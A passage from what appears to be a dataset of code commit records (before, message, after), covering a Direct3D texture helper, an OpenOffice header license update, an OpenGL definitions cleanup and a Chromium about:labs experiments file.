texdesc.Format;\n\t\tviewdesc.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D;\n\t\tviewdesc.Texture2D.MipLevels = 0;\n\t\tviewdesc.Texture2D.MostDetailedMip = texdesc.MipLevels;\n\n\t\tHRESULT hr_view = m_dx11->m_pd3dDevice->CreateShaderResourceView(texture, nullptr, &texview);\n\n\t\ttexture->Release();\n\t\treturn texview;\n\t}\n\n\tbool Gfx::UpdateIconResourceView (uint32_t x, uint32_t y, uint32_t bits, uint8_t * bmpdata, ID3D11ShaderResourceView * view)\n\t{\n#if USE_DYNAMIC_UPDATE\n\t\tD3D11_MAPPED_SUBRESOURCE mappedResource;\n\t\tmemset(&mappedResource, 0, sizeof(D3D11_MAPPED_SUBRESOURCE));\n\n\t\tm_dx11->m_pd3dDeviceContext->Map(view->Get(), 0, D3D11_MAP_WRITE_DISCARD, 0, &mappedResource);\n\t\tmemcpy(mappedResource.pData, bmpdata, x * y * bits \/ CHAR_BIT);\n\t\tm_dx11->m_pd3dDeviceContext->Unmap(vertexBuffer2.Get(), 0);\n#else\n\t\tD3D11_SUBRESOURCE_DATA data;\n\t\tmemset(&data, 0, sizeof(D3D11_SUBRESOURCE_DATA));\n\t\tdata.pSysMem = bmpdata;\n\t\tdata.SysMemPitch = bits \/ 8 * x; \/\/ line size in byte\n\t\tdata.SysMemSlicePitch = 0;\n\t\t\/\/ @NOTE: UpdateSubresource can update only portion of texture.. make use of it @TODO\n\t\t\/\/\t\t\tID3D11Texture2D * texture = nullptr;\n\t\t\/\/\t\t\tHRESULT hr = m_dx11->m_pd3dDevice->UpdateSubresource();\n\t\t\/\/\t\t\tHRESULT hr = m_dx11->m_pd3dDevice->CreateTexture2D(&texdesc, &data, &texture);\n\t\treturn true;\n#endif\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: requesttypes.hxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: ihi $ $Date: 2007-11-23 14:23:05 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef CONFIGMGR_BACKEND_REQUESTTYPES_HXX_\n#define CONFIGMGR_BACKEND_REQUESTTYPES_HXX_\n\n#ifndef _CONFIGMGR_TREE_VALUENODE_HXX\n#include \"valuenode.hxx\"\n#endif\n#ifndef CONFIGMGR_TREECHANGELIST_HXX\n#include \"treechangelist.hxx\"\n#endif\n#ifndef CONFIGMGR_CONFIGPATH_HXX_\n#include \"configpath.hxx\"\n#endif\n\n#ifndef _CONFIGMGR_UTILITY_HXX_\n#include <utility.hxx>\n#endif\n\n#ifndef INCLUDED_MEMORY\n#include <memory>\n#define INCLUDED_MEMORY\n#endif\n\nnamespace configmgr\n{\n\/\/ ---------------------------------------------------------------------------\n    namespace backend\n    {\n\/\/ ---------------------------------------------------------------------------\n        using configuration::AbsolutePath;\n        using configuration::Name;\n\/\/ ---------------------------------------------------------------------------\n      \/\/typedef std::pair<std::auto_ptr<ISubtree>, Name> ComponentData;\n        struct ComponentDataStruct\n        {\n            const std::auto_ptr<ISubtree>& data;\n            Name name;\n            ComponentDataStruct (const std::auto_ptr<ISubtree>& _data, Name _name)\n              : data(_data), name(_name) {}\n        };\n        typedef struct ComponentDataStruct ComponentData;\n\n        class NodePath\n        {\n            AbsolutePath m_path;\n        public:\n            NodePath(AbsolutePath const & _path) : m_path(_path) {};\n\n            AbsolutePath const & location() const { return m_path; }\n            AbsolutePath context()          const { return m_path.getParentPath(); }\n\n            bool isEmpty()              const { return m_path.isRoot(); }\n            bool isModuleRoot()         const { return m_path.getDepth() == 1; }\n            Name getModuleName()        const { return m_path.getModuleName(); }\n            rtl::OUString toString()    const { return m_path.toString(); }\n        };\n\/\/ ---------------------------------------------------------------------------\n        struct NodeInstance\n        {\n            typedef std::auto_ptr<ISubtree> Data;\n\n            explicit\n            NodeInstance(Data _node, AbsolutePath const & _rootpath)\n            : m_node(_node)\n            , m_root(_rootpath)\n            {\n            }\n\n            Data        const & data() const { return m_node; }\n            NodePath    const & root() const { return m_root; }\n\n            Data &  mutableData() { return m_node; }\n            Data extractData() { return m_node; }\n        private:\n            Data        m_node;\n            NodePath    m_root;\n        };\n\/\/ ---------------------------------------------------------------------------\n        struct TemplateInstance\n        {\n            typedef std::auto_ptr<INode> Data;\n\n            explicit\n            TemplateInstance(Data _node, Name const & _name, Name const & _component)\n            : m_node(_node)\n            , m_name(_name)\n            , m_component(_component)\n            {\n            }\n\n            Data        const & data() const { return m_node; }\n            Name        const & name() const { return m_name; }\n            Name        const & component() const { return m_component; }\n\n            Data extractData() { return m_node; }\n    private:\n            Data m_node;\n            Name m_name; \/\/ if empty, this is a complete set of component templates\n            Name m_component;\n        };\n\/\/ ---------------------------------------------------------------------------\n        struct ComponentInstance\n        {\n            typedef std::auto_ptr<ISubtree> Data;\n\n            explicit\n            ComponentInstance(Data _node, Data _template, Name const & _component)\n            : m_node(_node)\n            , m_template(_template)\n            , m_component(_component)\n            {\n            }\n\n            Data        const & data() const { return m_node; }\n            Data        const & templateData() const { return m_template; }\n            Name        const & component() const { return m_component; }\n\n            ComponentData  componentTemplateData () const { return ComponentData(m_template,m_component);}\n            ComponentData  componentNodeData () const { return ComponentData(m_node,m_component);}\n            Data &  mutableData() { return m_node; }\n            Data extractData() { return m_node; }\n            Data extractTemplateData() { return m_template; }\n        private:\n            Data        m_node;\n            Data        m_template;\n            Name        m_component;\n        };\n\/\/ ---------------------------------------------------------------------------\n        struct UpdateInstance\n        {\n            typedef SubtreeChange *         Data;\n            typedef SubtreeChange const *   ConstData;\n\n            explicit\n            UpdateInstance(Data _update, AbsolutePath const & _rootpath)\n            : m_update(_update)\n            , m_root(_rootpath)\n            {\n            }\n\n            UpdateInstance(UpdateInstance & _aModifiableOther)\n            : m_update(_aModifiableOther.m_update)\n            , m_root(_aModifiableOther.m_root)\n            {\n            }\n\n            Data                data()       { return m_update; }\n            ConstData           data() const { return m_update; }\n            NodePath    const & root() const { return m_root; }\n        private:\n            Data        m_update;\n            NodePath    m_root;\n        };\n\/\/ ---------------------------------------------------------------------------\n        struct ConstUpdateInstance\n        {\n            typedef UpdateInstance::ConstData   Data, ConstData;\n\n            explicit\n            ConstUpdateInstance(Data _update, AbsolutePath const & _rootpath)\n            : m_update(_update)\n            , m_root(_rootpath)\n            {\n            }\n\n            \/\/ conversion\n            ConstUpdateInstance(UpdateInstance const & _aModifiable)\n            : m_update(_aModifiable.data())\n            , m_root(_aModifiable.root())\n            {\n            }\n\n            Data                data() const { return m_update; }\n            NodePath    const & root() const { return m_root; }\n        private:\n            Data        m_update;\n            NodePath    m_root;\n        };\n\/\/ ---------------------------------------------------------------------------\n\/\/ ---------------------------------------------------------------------------\n\/\/ Due to the use of auto_ptr, the XxxInstance classes cannot easily be used as return values\n\/\/ To return them, they should be wrapped into a ResultHolder\n\n        template <class Instance_>\n        class ResultHolder\n        {\n            struct RCInstance : public configmgr::SimpleReferenceObject\n            {\n                RCInstance(Instance_ & _instance)\n                    : instance(_instance) {}\n                Instance_ instance;\n            };\n            typedef rtl::Reference< RCInstance > InstanceRef;\n\n            InstanceRef m_xInstance;\n        public:\n            typedef Instance_ Instance;\n\n            explicit\n            ResultHolder(Instance & _rInstance)\n            : m_xInstance( new RCInstance(_rInstance) )\n            {}\n\n            bool isEmpty() const { return !m_xInstance.is(); }\n\n            bool is() const { return m_xInstance.is() && m_xInstance->instance.data().get(); }\n\n            Instance const & instance() const { return  m_xInstance->instance; }\n\n            Instance const & operator *() const { return  instance(); }\n            Instance const * operator->() const { return &instance(); }\n            Instance & mutableInstance() { return m_xInstance->instance; }\n\n            typename Instance::Data extractDataAndClear()\n            {\n                typename Instance::Data aData = m_xInstance->instance.extractData();\n                this->clear();\n                return aData;\n            }\n\n            void releaseAndClear()\n            {\n                typename Instance::Data aData = this->extractDataAndClear();\n                aData.release();\n            }\n\n            void clear() { m_xInstance.clear(); }\n        };\n\/\/ ---------------------------------------------------------------------------\n        typedef ResultHolder< NodeInstance >        NodeResult;\n        typedef ResultHolder< TemplateInstance >    TemplateResult;\n        typedef ResultHolder< ComponentInstance >   ComponentResult;\n\n\/\/ ---------------------------------------------------------------------------\n    }\n\/\/ ---------------------------------------------------------------------------\n} \/\/ namespace\n\n#endif\n<commit_msg>INTEGRATION: CWS changefileheader (1.9.16); FILE MERGED 2008\/04\/01 12:27:25 thb 1.9.16.2: #i85898# Stripping all external header guards 2008\/03\/31 12:22:44 rt 1.9.16.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: requesttypes.hxx,v $\n * $Revision: 1.10 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#ifndef CONFIGMGR_BACKEND_REQUESTTYPES_HXX_\n#define CONFIGMGR_BACKEND_REQUESTTYPES_HXX_\n\n#include \"valuenode.hxx\"\n#include \"treechangelist.hxx\"\n#include \"configpath.hxx\"\n\n#ifndef _CONFIGMGR_UTILITY_HXX_\n#include <utility.hxx>\n#endif\n\n#ifndef INCLUDED_MEMORY\n#include <memory>\n#define INCLUDED_MEMORY\n#endif\n\nnamespace configmgr\n{\n\/\/ ---------------------------------------------------------------------------\n    namespace backend\n    {\n\/\/ ---------------------------------------------------------------------------\n        using configuration::AbsolutePath;\n        using configuration::Name;\n\/\/ ---------------------------------------------------------------------------\n      \/\/typedef std::pair<std::auto_ptr<ISubtree>, Name> ComponentData;\n        struct ComponentDataStruct\n        {\n            const std::auto_ptr<ISubtree>& data;\n            Name name;\n            ComponentDataStruct (const std::auto_ptr<ISubtree>& _data, Name _name)\n              : data(_data), name(_name) {}\n        };\n        typedef struct ComponentDataStruct ComponentData;\n\n        class NodePath\n        {\n            AbsolutePath m_path;\n        public:\n            NodePath(AbsolutePath const & _path) : m_path(_path) {};\n\n            AbsolutePath const & location() const { return m_path; }\n            AbsolutePath context()          const { return m_path.getParentPath(); }\n\n            bool isEmpty()              const { return m_path.isRoot(); }\n            bool isModuleRoot()         const { return m_path.getDepth() == 1; }\n            Name getModuleName()        const { return m_path.getModuleName(); }\n            rtl::OUString toString()    const { return m_path.toString(); }\n        };\n\/\/ ---------------------------------------------------------------------------\n        struct NodeInstance\n        {\n            typedef std::auto_ptr<ISubtree> Data;\n\n            explicit\n            NodeInstance(Data _node, AbsolutePath const & _rootpath)\n            : m_node(_node)\n            , m_root(_rootpath)\n            {\n            }\n\n            Data        const & data() const { return m_node; }\n            NodePath    const & root() const { return m_root; }\n\n            Data &  mutableData() { return m_node; }\n            Data extractData() { return m_node; }\n        private:\n            Data        m_node;\n            NodePath    m_root;\n        };\n\/\/ ---------------------------------------------------------------------------\n        struct TemplateInstance\n        {\n            typedef std::auto_ptr<INode> Data;\n\n            explicit\n            TemplateInstance(Data _node, Name const & _name, Name const & _component)\n            : m_node(_node)\n            , m_name(_name)\n            , m_component(_component)\n            {\n            }\n\n            Data        const & data() const { return m_node; }\n            Name        const & name() const { return m_name; }\n            Name        const & component() const { return m_component; }\n\n            Data extractData() { return m_node; }\n    private:\n            Data m_node;\n            Name m_name; \/\/ if empty, this is a complete set of component templates\n            Name m_component;\n        };\n\/\/ ---------------------------------------------------------------------------\n        struct ComponentInstance\n        {\n            typedef std::auto_ptr<ISubtree> Data;\n\n            explicit\n            ComponentInstance(Data _node, Data _template, Name const & _component)\n            : m_node(_node)\n            , m_template(_template)\n            , m_component(_component)\n            {\n            }\n\n            Data        const & data() const { return m_node; }\n            Data        const & templateData() const { return m_template; }\n            Name        const & component() const { return m_component; }\n\n            ComponentData  componentTemplateData () const { return ComponentData(m_template,m_component);}\n            ComponentData  componentNodeData () const { return ComponentData(m_node,m_component);}\n            Data &  mutableData() { return m_node; }\n            Data extractData() { return m_node; }\n            Data extractTemplateData() { return m_template; }\n        private:\n            Data        m_node;\n            Data        m_template;\n            Name        m_component;\n        };\n\/\/ ---------------------------------------------------------------------------\n        struct UpdateInstance\n        {\n            typedef SubtreeChange *         Data;\n            typedef SubtreeChange const *   ConstData;\n\n            explicit\n            UpdateInstance(Data _update, AbsolutePath const & _rootpath)\n            : m_update(_update)\n            , m_root(_rootpath)\n            {\n            }\n\n            UpdateInstance(UpdateInstance & _aModifiableOther)\n            : m_update(_aModifiableOther.m_update)\n            , m_root(_aModifiableOther.m_root)\n            {\n            }\n\n            Data                data()       { return m_update; }\n            ConstData           data() const { return m_update; }\n            NodePath    const & root() const { return m_root; }\n        private:\n            Data        m_update;\n            NodePath    m_root;\n        };\n\/\/ ---------------------------------------------------------------------------\n        struct ConstUpdateInstance\n        {\n            typedef UpdateInstance::ConstData   Data, ConstData;\n\n            explicit\n            ConstUpdateInstance(Data _update, AbsolutePath const & _rootpath)\n            : m_update(_update)\n            , m_root(_rootpath)\n            {\n            }\n\n            \/\/ conversion\n            ConstUpdateInstance(UpdateInstance const & _aModifiable)\n            : m_update(_aModifiable.data())\n            , m_root(_aModifiable.root())\n            {\n            }\n\n            Data                data() const { return m_update; }\n            NodePath    const & root() const { return m_root; }\n        private:\n            Data        m_update;\n            NodePath    m_root;\n        };\n\/\/ ---------------------------------------------------------------------------\n\/\/ ---------------------------------------------------------------------------\n\/\/ Due to the use of auto_ptr, the XxxInstance classes cannot easily be used as return values\n\/\/ To return them, they should be wrapped into a ResultHolder\n\n        template <class Instance_>\n        class ResultHolder\n        {\n            struct RCInstance : public configmgr::SimpleReferenceObject\n            {\n                RCInstance(Instance_ & _instance)\n                    : instance(_instance) {}\n                Instance_ instance;\n            };\n            typedef rtl::Reference< RCInstance > InstanceRef;\n\n            InstanceRef m_xInstance;\n        public:\n            typedef Instance_ Instance;\n\n            explicit\n            ResultHolder(Instance & _rInstance)\n            : m_xInstance( new RCInstance(_rInstance) )\n            {}\n\n            bool isEmpty() const { return !m_xInstance.is(); }\n\n            bool is() const { return m_xInstance.is() && m_xInstance->instance.data().get(); }\n\n            Instance const & instance() const { return  m_xInstance->instance; }\n\n            Instance const & operator *() const { return  instance(); }\n            Instance const * operator->() const { return &instance(); }\n            Instance & mutableInstance() { return m_xInstance->instance; }\n\n            typename Instance::Data extractDataAndClear()\n            {\n                typename Instance::Data aData = m_xInstance->instance.extractData();\n                this->clear();\n                return aData;\n            }\n\n            void releaseAndClear()\n            {\n                typename Instance::Data aData = this->extractDataAndClear();\n                aData.release();\n            }\n\n            void clear() { m_xInstance.clear(); }\n        };\n\/\/ ---------------------------------------------------------------------------\n        typedef ResultHolder< NodeInstance >        NodeResult;\n        typedef ResultHolder< TemplateInstance >    TemplateResult;\n        typedef ResultHolder< ComponentInstance >   ComponentResult;\n\n\/\/ ---------------------------------------------------------------------------\n    }\n\/\/ ---------------------------------------------------------------------------\n} \/\/ namespace\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#ifndef __CHIMERA_OPEN_GL_DEFS__HPP\n#define __CHIMERA_OPEN_GL_DEFS__HPP\n\n#include \"GL\/glew.h\"\n\n#include <GL\/gl.h>\n\nnamespace Chimera {\n\nenum StateMachine { TEXTURE_2D = GL_TEXTURE_2D, DEPTH_TEST = GL_DEPTH_TEST, BLEND = GL_BLEND };\n\nenum FaceMaterial { FRONT = GL_FRONT, BACK = GL_BACK, FRONT_BACK = GL_FRONT_AND_BACK };\n\nenum ModeMaterial {\n    AMBIENT = GL_AMBIENT,\n    DIFFUSE = GL_DIFFUSE,\n    EMISSION = GL_EMISSION,\n    SPECULAR = GL_SPECULAR,\n    SHININESS = GL_SHININESS,\n    AMBIENT_AND_DIFFUSE = GL_AMBIENT_AND_DIFFUSE\n};\n\nenum LightNum {\n    LIGHT0 = GL_LIGHT0,\n    LIGHT1 = GL_LIGHT1,\n    LIGHT2 = GL_LIGHT2,\n    LIGHT3 = GL_LIGHT3,\n    LIGHT4 = GL_LIGHT4,\n    LIGHT5 = GL_LIGHT5,\n    LIGHT6 = GL_LIGHT6,\n    LIGHT7 = GL_LIGHT7,\n    LIGHTING = GL_LIGHTING\n};\n\nenum PolygonMode { FILL = GL_FILL, WIREFRAME = GL_LINE, POINTS = GL_POINT };\n\nenum CullFace { CULL_FACE = GL_CULL_FACE };\n\nenum ColorMaterial { COLOR_MATERIAL = GL_COLOR_MATERIAL };\n\nenum ClientState {\n    COLOR_ARRAY = GL_COLOR_ARRAY,\n    EDGE_FLAG_ARRAY = GL_EDGE_FLAG_ARRAY,\n    \/\/ FOG_COORD_ARRAY=GL_FOG_COORD_ARRAY,\n    INDEX_ARRAY = GL_INDEX_ARRAY,\n    NORMAL_ARRAY = GL_NORMAL_ARRAY,\n    \/\/ SECONDARY_COLOR_ARRAY=GL_SECONDARY_COLOR_ARRAY,\n    TEXTURE_COORD_ARRAY = GL_TEXTURE_COORD_ARRAY,\n    VERTEX_ARRAY = GL_VERTEX_ARRAY\n};\n} \/\/ namespace Chimera\n#endif\n<commit_msg>limpeza<commit_after>#ifndef __CHIMERA_OPEN_GL_DEFS__HPP\n#define __CHIMERA_OPEN_GL_DEFS__HPP\n\n#include \"GL\/glew.h\"\n#include <GL\/gl.h>\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/labs.h\"\n\n#include <algorithm>\n#include <iterator>\n#include <map>\n#include <set>\n\n#include \"app\/l10n_util.h\"\n#include \"base\/command_line.h\"\n#include \"base\/values.h\"\n#include \"chrome\/browser\/platform_util.h\"\n#include \"chrome\/browser\/prefs\/pref_service.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"grit\/generated_resources.h\"\n\nnamespace about_labs {\n\nenum { kOsMac = 1 << 0, kOsWin = 1 << 1, kOsLinux = 1 << 2 };\n\nunsigned kOsAll = kOsMac | kOsWin | kOsLinux;\n\nstruct Experiment {\n  \/\/ The internal name of the experiment. This is never shown to the user.\n  \/\/ It _is_ however stored in the prefs file, so you shouldn't change the\n  \/\/ name of existing labs.\n  const char* internal_name;\n\n  \/\/ String id of the message containing the experiment's name.\n  int visible_name_id;\n\n  \/\/ String id of the message containing the experiment's description.\n  int visible_description_id;\n\n  \/\/ The platforms the experiment is available on\n  \/\/ Needs to be more than a compile-time #ifdef because of profile sync.\n  unsigned supported_platforms;  \/\/ bitmask\n\n  \/\/ The commandline parameter that's added when this lab is active. This is\n  \/\/ different from |internal_name| so that the commandline flag can be\n  \/\/ renamed without breaking the prefs file.\n  const char* command_line;\n};\n\nconst Experiment kExperiments[] = {\n  {\n    \"expose-for-tabs\",  \/\/ Do not change; see above.\n    IDS_LABS_TABPOSE_NAME,\n    IDS_LABS_TABPOSE_DESCRIPTION,\n    kOsMac,\n#if defined(OS_MACOSX)\n    \/\/ The switch exists only on OS X.\n    switches::kEnableExposeForTabs\n#else\n    \"\"\n#endif\n  },\n  {\n    \"vertical-tabs\",  \/\/ Do not change; see above.\n    IDS_LABS_SIDE_TABS_NAME,\n    IDS_LABS_SIDE_TABS_DESCRIPTION,\n    kOsWin,\n    switches::kEnableVerticalTabs\n  },\n  {\n    \"tabbed-options\",  \/\/ Do not change; see above.\n    IDS_LABS_TABBED_OPTIONS_NAME,\n    IDS_LABS_TABBED_OPTIONS_DESCRIPTION,\n    kOsAll,\n    switches::kEnableTabbedOptions\n  },\n  {\n    \"match-preview\",  \/\/ Do not change; see above.\n    IDS_LABS_INSTANT_NAME,\n    IDS_LABS_INSTANT_DESCRIPTION,\n    kOsWin,\n    switches::kEnableMatchPreview\n  },\n  {\n    \"remoting\",  \/\/ Do not change; see above.\n    IDS_LABS_REMOTING_NAME,\n#if defined(OS_WINDOWS)\n    \/\/ Windows only supports host functionality at the moment.\n    IDS_LABS_REMOTING_HOST_DESCRIPTION,\n#elif defined(OS_LINUX)\n    \/\/ Linux only supports client functionality at the moment.\n    IDS_LABS_REMOTING_CLIENT_DESCRIPTION,\n#else\n    \/\/ On other platforms, this lab isn't available at all\n    \"\",\n#endif\n    kOsWin | kOsLinux,\n    switches::kEnableRemoting\n  },\n};\n\n\/\/ Extracts the list of enabled lab experiments from a profile and stores them\n\/\/ in a set.\nvoid GetEnabledLabs(const PrefService* prefs, std::set<std::string>* result) {\n  const ListValue* enabled_experiments = prefs->GetList(\n      prefs::kEnabledLabsExperiments);\n  if (!enabled_experiments)\n    return;\n\n  for (ListValue::const_iterator it = enabled_experiments->begin();\n       it != enabled_experiments->end();\n       ++it) {\n    std::string experiment_name;\n    if (!(*it)->GetAsString(&experiment_name)) {\n      LOG(WARNING) << \"Invalid entry in \" << prefs::kEnabledLabsExperiments;\n      continue;\n    }\n    result->insert(experiment_name);\n  }\n}\n\n\/\/ Takes a set of enabled lab experiments\nvoid SetEnabledLabs(\n    PrefService* prefs, const std::set<std::string>& enabled_experiments) {\n  ListValue* experiments_list = prefs->GetMutableList(\n      prefs::kEnabledLabsExperiments);\n  if (!experiments_list)\n    return;\n\n  experiments_list->Clear();\n  for (std::set<std::string>::const_iterator it = enabled_experiments.begin();\n       it != enabled_experiments.end();\n       ++it) {\n    experiments_list->Append(new StringValue(*it));\n  }\n}\n\n\/\/ Removes all experiments from prefs::kEnabledLabsExperiments that are\n\/\/ unknown, to prevent this list to become very long as experiments are added\n\/\/ and removed.\nvoid SanitizeList(PrefService* prefs) {\n  std::set<std::string> known_experiments;\n  for (size_t i = 0; i < arraysize(kExperiments); ++i)\n    known_experiments.insert(kExperiments[i].internal_name);\n\n  std::set<std::string> enabled_experiments;\n  GetEnabledLabs(prefs, &enabled_experiments);\n\n  std::set<std::string> new_enabled_experiments;\n  std::set_intersection(\n      known_experiments.begin(), known_experiments.end(),\n      enabled_experiments.begin(), enabled_experiments.end(),\n      std::inserter(new_enabled_experiments, new_enabled_experiments.begin()));\n\n  SetEnabledLabs(prefs, new_enabled_experiments);\n}\n\nvoid GetSanitizedEnabledLabs(\n    PrefService* prefs, std::set<std::string>* result) {\n  SanitizeList(prefs);\n  GetEnabledLabs(prefs, result);\n}\n\nint GetCurrentPlatform() {\n#if defined(OS_MACOSX)\n  return kOsMac;\n#elif defined(OS_WIN)\n  return kOsWin;\n#elif defined(OS_LINUX)\n  return kOsLinux;\n#else\n#error Unknown platform\n#endif\n}\n\nbool IsEnabled() {\n#if defined(OS_CHROMEOS)\n  \/\/ ChromeOS uses a different mechanism for about:labs; integrated with their\n  \/\/ dom ui options.\n  return false;\n#elif defined(GOOGLE_CHROME_BUILD)\n  \/\/ Don't enable this on the stable channel.\n  return !platform_util::GetVersionStringModifier().empty();\n#else\n  return true;\n#endif\n}\n\nvoid ConvertLabsToSwitches(Profile* profile, CommandLine* command_line) {\n  \/\/ Do not activate labs features on the stable channel.\n  if (!IsEnabled())\n    return;\n\n  std::set<std::string> enabled_experiments;\n  GetSanitizedEnabledLabs(profile->GetPrefs(), &enabled_experiments);\n\n  std::map<std::string, const Experiment*> experiments;\n  for (size_t i = 0; i < arraysize(kExperiments); ++i)\n    experiments[kExperiments[i].internal_name] = &kExperiments[i];\n\n  for (std::set<std::string>::iterator it = enabled_experiments.begin();\n       it != enabled_experiments.end();\n       ++it) {\n    const std::string& experiment_name = *it;\n    std::map<std::string, const Experiment*>::iterator experiment =\n        experiments.find(experiment_name);\n    DCHECK(experiment != experiments.end());\n    if (experiment == experiments.end())\n      continue;\n\n    command_line->AppendSwitch(experiment->second->command_line);\n  }\n}\n\nListValue* GetLabsExperimentsData(Profile* profile) {\n  std::set<std::string> enabled_experiments;\n  GetSanitizedEnabledLabs(profile->GetPrefs(), &enabled_experiments);\n\n  int current_platform = GetCurrentPlatform();\n\n  ListValue* experiments_data = new ListValue();\n  for (size_t i = 0; i < arraysize(kExperiments); ++i) {\n    const Experiment& experiment = kExperiments[i];\n    if (!(experiment.supported_platforms & current_platform))\n      continue;\n\n    DictionaryValue* data = new DictionaryValue();\n    data->SetString(\"internal_name\", experiment.internal_name);\n    data->SetString(\"name\",\n                    l10n_util::GetStringUTF16(experiment.visible_name_id));\n    data->SetString(\"description\",\n                    l10n_util::GetStringUTF16(\n                        experiment.visible_description_id));\n    data->SetBoolean(\"enabled\",\n                      enabled_experiments.count(experiment.internal_name) > 0);\n\n    experiments_data->Append(data);\n  }\n  return experiments_data;\n}\n\nstatic bool needs_restart_ = false;\n\nbool IsRestartNeededToCommitChanges() {\n  return needs_restart_;\n}\n\nvoid SetExperimentEnabled(\n    Profile* profile, const std::string& internal_name, bool enable) {\n  needs_restart_ = true;\n\n  std::set<std::string> enabled_experiments;\n  GetSanitizedEnabledLabs(profile->GetPrefs(), &enabled_experiments);\n\n  if (enable)\n    enabled_experiments.insert(internal_name);\n  else\n    enabled_experiments.erase(internal_name);\n\n  SetEnabledLabs(profile->GetPrefs(), enabled_experiments);\n}\n\n}  \/\/ namespace Labs\n<commit_msg>Fix an empty string to fix r60578.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/labs.h\"\n\n#include <algorithm>\n#include <iterator>\n#include <map>\n#include <set>\n\n#include \"app\/l10n_util.h\"\n#include \"base\/command_line.h\"\n#include \"base\/values.h\"\n#include \"chrome\/browser\/platform_util.h\"\n#include \"chrome\/browser\/prefs\/pref_service.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"grit\/generated_resources.h\"\n\nnamespace about_labs {\n\nenum { kOsMac = 1 << 0, kOsWin = 1 << 1, kOsLinux = 1 << 2 };\n\nunsigned kOsAll = kOsMac | kOsWin | kOsLinux;\n\nstruct Experiment {\n  \/\/ The internal name of the experiment. This is never shown to the user.\n  \/\/ It _is_ however stored in the prefs file, so you shouldn't change the\n  \/\/ name of existing labs.\n  const char* internal_name;\n\n  \/\/ String id of the message containing the experiment's name.\n  int visible_name_id;\n\n  \/\/ String id of the message containing the experiment's description.\n  int visible_description_id;\n\n  \/\/ The platforms the experiment is available on\n  \/\/ Needs to be more than a compile-time #ifdef because of profile sync.\n  unsigned supported_platforms;  \/\/ bitmask\n\n  \/\/ The commandline parameter that's added when this lab is active. This is\n  \/\/ different from |internal_name| so that the commandline flag can be\n  \/\/ renamed without breaking the prefs file.\n  const char* command_line;\n};\n\nconst Experiment kExperiments[] = {\n  {\n    \"expose-for-tabs\",  \/\/ Do not change; see above.\n    IDS_LABS_TABPOSE_NAME,\n    IDS_LABS_TABPOSE_DESCRIPTION,\n    kOsMac,\n#if defined(OS_MACOSX)\n    \/\/ The switch exists only on OS X.\n    switches::kEnableExposeForTabs\n#else\n    \"\"\n#endif\n  },\n  {\n    \"vertical-tabs\",  \/\/ Do not change; see above.\n    IDS_LABS_SIDE_TABS_NAME,\n    IDS_LABS_SIDE_TABS_DESCRIPTION,\n    kOsWin,\n    switches::kEnableVerticalTabs\n  },\n  {\n    \"tabbed-options\",  \/\/ Do not change; see above.\n    IDS_LABS_TABBED_OPTIONS_NAME,\n    IDS_LABS_TABBED_OPTIONS_DESCRIPTION,\n    kOsAll,\n    switches::kEnableTabbedOptions\n  },\n  {\n    \"match-preview\",  \/\/ Do not change; see above.\n    IDS_LABS_INSTANT_NAME,\n    IDS_LABS_INSTANT_DESCRIPTION,\n    kOsWin,\n    switches::kEnableMatchPreview\n  },\n  {\n    \"remoting\",  \/\/ Do not change; see above.\n    IDS_LABS_REMOTING_NAME,\n#if defined(OS_WINDOWS)\n    \/\/ Windows only supports host functionality at the moment.\n    IDS_LABS_REMOTING_HOST_DESCRIPTION,\n#elif defined(OS_LINUX)\n    \/\/ Linux only supports client functionality at the moment.\n    IDS_LABS_REMOTING_CLIENT_DESCRIPTION,\n#else\n    \/\/ On other platforms, this lab isn't available at all.\n    0,\n#endif\n    kOsWin | kOsLinux,\n    switches::kEnableRemoting\n  },\n};\n\n\/\/ Extracts the list of enabled lab experiments from a profile and stores them\n\/\/ in 